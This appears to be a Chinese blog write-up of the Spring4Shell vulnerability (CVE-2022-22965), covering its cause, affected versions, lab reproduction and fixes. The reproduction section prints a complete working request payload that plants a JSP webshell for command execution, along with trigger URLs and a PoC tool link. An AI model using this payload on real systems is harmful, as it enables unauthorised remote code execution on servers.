Spring Framework远程代码执行漏洞(CVE-2022-22965)

news2024/9/25 9:38:54

Spring Framework远程代码执行漏洞(CVE-2022-22965)

一、漏洞描述

springframework 是spring 里面的一个基础开源框架,主要用于javaee的企业开发。

2022年3月30日,Spring框架曝出RCE 0day漏洞,攻击者通过该漏洞可远程实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。

二、漏洞成因

该漏洞是由于 Spring Core 未对传输的数据进行有效的验证。Spring MVC 框架提供参数绑定功能,允许用请求中的参数绑定控制器方法中参数对象的成员变量。这一机制使得攻击者能够通过构造恶意请求获取 AccessLogValve 对象,继而注入恶意字段值触发 pipeline 机制,从而能够在未授权的情况下远程构造恶意数据,写入任意路径下的文件,从而导致远程代码执行。

三、影响版本

Spring Framework 5.3.X < 5.3.18

Spring Framework 5.2.X < 5.2.20

注:其他小版本未更新均受影响

四、利用条件

JDK 版本 >= 9
使用了 Spring 框架或衍生框架
CachedIntrospectionResults.class

五、漏洞复现

1.手工复现:
Vulfocus 搭建环境
在这里插入图片描述
开环境,burp抓包change request method,上POC
数据包请求头添加:

suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2

请求体:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

在这里插入图片描述

放包,页面访问直接RCE

http://ip:端口/tomcatwar.jsp?pwd=j&cmd=id

在这里插入图片描述

2.python工具复现:

工具下载地址:https://github.com/reznok/Spring4Shell-POC

浏览器访问http://123.58.236.76:16164/shell.jsp?cmd=whoami即可看到“whoami”命令成功执行。

六、修复建议

一、官方修复建议:

当前 Spring Framework 官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

二、临时修复建议:

该临时修复建议存在一定风险,建议用户可根据业务系统特性审慎选择采用临时修复方案:

需同时按以下两个步骤进行漏洞的临时修复:

  1. 在应用中全局搜索 @InitBinder 注解,看看方法体内是否调用 dataBinder.setDisallowedFields 方法,如果发现此代码片段的引入,则在原来的黑名单中,添加 {“class.","Class. “,”. class.”, “.Class.”}。(注:如果此代码片段使用较多,需要每个地方都追加)

  2. 在应用系统的项目包下新建以下全局类,并保证这个类被 Spring 加载到 (推荐在 Controller 所在的包中添加). 完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/689094.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计网之基础篇

因特网协议概述 常用协议应用层HTTP&#xff08;超文本传输协议&#xff09;、FTP&#xff08;文件传输协议&#xff09;、SMTP&#xff08;简单邮件传输协议&#xff09;、DNS&#xff08;域名系统&#xff09;、DHCP&#xff08;动态主机配置协议&#xff09;、SNMP&#xff…

erlang安装问题(State machine user_ dru terminating)

输入erl 出现错误 State machine user_ dru terminating 主要原因是安装的erlang版本太高导致&#xff0c;建议选择对应rabbitmq并且是中版本的。新版本会有各种各样适配问题。如果现在26 建议选用25中间 对应rabbitmq低一个版本&#xff0c;稳定性更好

螺旋矩阵(顺时针遍历矩阵)

leetcode 54.螺旋矩阵 给你一个 m 行 n 列的矩阵 matrix &#xff0c;请按照 顺时针螺旋顺序 &#xff0c;返回矩阵中的所有元素。 和剑指office29题相似&#xff1b; 思路&#xff1a;既然是顺时针遍历一圈&#xff0c;那么我们就分别从上边&#xff0c;右边&#xff0c;下…

SQL-游标-更新删除-多列指向

--切换数据库 use MyDatabase--创建游标(scroll&#xff1a;滚动游标) declare mycur cursor scroll for select EmpNo from Employee --打开游标 open mycur --关闭游标 close mycur --删除游标 deallocate mycur--提取第一行 --利用游标进行数据的修改 fetch absolute 2 from…

【django中处理静态的数据 css js img】

django中处理静态的数据 css js img 1.创建django项目2.打开项目3.配置settingpy中找到STATIC_URL3.1静态资源 4.创建静态资源文件夹5.开启服务6. 网页请求7.使用模板 进行编写 并请求8.在模板中进行 图片的请求9.模板中使用动态url {% static %}10 static的 动态url加载 1.创建…

C++读取易语言字节集图片opencv识别滑块

易语言字节集在C中其实是字节数组的形式&#xff0c;这边做的是一个本地滑块识别的&#xff0c;识别已经实现&#xff0c;主要解决读入字节集的问题&#xff0c;因为图片的大小问题&#xff0c;直接传字节集恐怕不行&#xff0c;所以在易语言处理图片&#xff0c;然后在内容中C…

软考高级系统架构设计师(九) 作文模板-微服务架构(待继续完善)

目录 举一反三-论微服务架构及其应用 ps: 更多微服务信息 ps: 微服务与SOA区别 微服务架构举例 微服务的落地技术 微服务的技术可大致分为五类 举一反三-论微服务架构及其应用 论微服务架构及其应用 微服务提倡将单一应用程序划分成一组小的服务&#xff0c;服务之间互相…

vue 将登录后信息放入cookie中,后端请求接口携带

第一步 import Cookies from "js-cookie";//将需要的信息放入cookie Cookies.set("deptId", res.user.dept.deptId, { expires: 30 });引入cookies import Cookies from "js-cookie";// 查询参数queryParams: {deptName: undefined,status: un…

Rust语言从入门到入坑——(9)Rust 生命周期

文章目录 0、引入1、生命周期注释2、结构体中使用字符串切片引用3、静态生命周期4、泛型、特性与生命周期协同作战5、总结 0、引入 Rust 生命周期机制是与所有权机制同等重要的资源管理机制&#xff0c;之所以引入这个概念主要是应对复杂类型系统中资源管理的问题。 引用是对…

【云原生丶Docker】DockerFile完全指南

DockerFile构建过程 DockerFile 是Docker的一个配置文件&#xff0c;本质上来说它只是一个文本文件&#xff0c;它是用来构建Docker镜像的。DockerFile配置文件中包含了一系列的指令和配置信息&#xff0c;用于描述如何构建镜像以及如何运行容器。通过编写 Dockerfile&#xf…

【c++11】新的类功能和可变参数包

c11 新增默认成员函数类成员变量初始化关键字defaultdelete 委托构造 可变参数包递归展开参数包逗号表达式展开参数包 结语 新增默认成员函数 原来c类中&#xff0c;有6个默认成员函数&#xff1a; 构造函数析构函数拷贝构造函数拷贝赋值重载取地址函数const 取地址重载 默认…

将mp4视频推流rtsp,并转为http直播流,在前端显示

最近有个需求&#xff0c;在vue页面的video组件播放直播流&#xff0c;本来想用flv.js&#xff0c;但是必须要flv格式才行&#xff0c;所以还是用原生video播放http直播流。 1. 将本地mp4推流rtsp 下载并解压EasyDarwin&#xff0c;双击EasyDarwin.exe运行&#xff0c;在控制…

【python】web应用开发DRF框架

DRF 【python】web应用开发DRF框架 Django rest_framework, 简称 drf, 可以更方便的使用django写出符合 RESTful 规范的接口, (缩减编写api接口的代码) Django REST framework是一个建立在Django基础之上的Web应用开发框架(Django的一个app)&#xff0c;可以快速的开发REST A…

【IMX6ULL驱动开发学习】12.Linux驱动之设备树

承接上一篇博客 【IMX6ULL驱动开发学习】11.驱动设计之面向对象_分层思想&#xff08;学习设备树过渡部分&#xff09; 代码获取&#xff1a;https://gitee.com/chenshao777/imx6-ull_-drivers 我后面将三个层合并了&#xff08;实际上只有前两层&#xff09;&#xff0c;合并…

【Java入门】注释、关键字、常量、变量、数据类型

注释&#xff1a; 作用 : 可以记录代码所实现的功能&#xff0c;方便程序员或代码编写者阅读代码以及方便他人更好理解代码 注释分类&#xff1a; 单行注释 格式&#xff1a; //注释信息多行注释 格式&#xff1a; /注释信息/文档煮熟 格式&#xff1a;/** 注释信息*/ /***…

TCP的socket API

1、核心类 ServerSocket &#xff1a;服务器使用的socket Socket : 服务器和客户端都会使用的socket accept进行的工作是拉客 对应操作系统来说&#xff0c;建立TCP连接是内核的工作 accept要干的就是等连接建立好了&#xff0c;把这个连接给拿到应用程序中。 如果当前连接…

chatgpt赋能python:Python获取文件后缀名

Python获取文件后缀名 在Python编程中&#xff0c;经常需要获取文件的后缀名&#xff0c;例如在处理文件上传、下载、压缩等操作时&#xff0c;需要对文件后缀名进行判断和处理。本文将介绍Python获取文件后缀名的两种常用方法。 方法一&#xff1a;使用split()函数 Python的…

【C语言初阶(2)】循环语句:while 循环

文章目录 1. while 语句介绍1.1 语法结构1.2 while 语句执行的流程 2. while 语句中的 break 和 continue2.1 break 介绍2.2 continue 介绍 我们已经掌握了 if 语句&#xff0c;当条件满足的情况下&#xff0c;if 语句的后的语句执行&#xff0c;反之不执行&#xff1b; 但是 i…

ChatGPT最新版多功能批量写作工具激发创作的无限可能

随着科技的不断发展&#xff0c;人工智能逐渐渗透到各个领域&#xff0c;其中包括写作领域。近年来&#xff0c;OpenAI推出的ChatGPT最新版多功能批量写作工具&#xff0c;为写作者们带来了全新的创作体验。这一工具不仅能够帮助写作者提高工作效率&#xff0c;还能够激发创作的…

chatgpt赋能python:Python获取定位的SEO指南

Python获取定位的SEO指南 什么是SEO SEO&#xff0c;即搜索引擎优化&#xff0c;是通过对网站进行优化&#xff0c;提高排名&#xff0c;从而增加搜索引擎来的流量&#xff0c;并达到提高转化率的目的。在这个数字时代&#xff0c;对于大多数网站来说&#xff0c;SEO已经成为…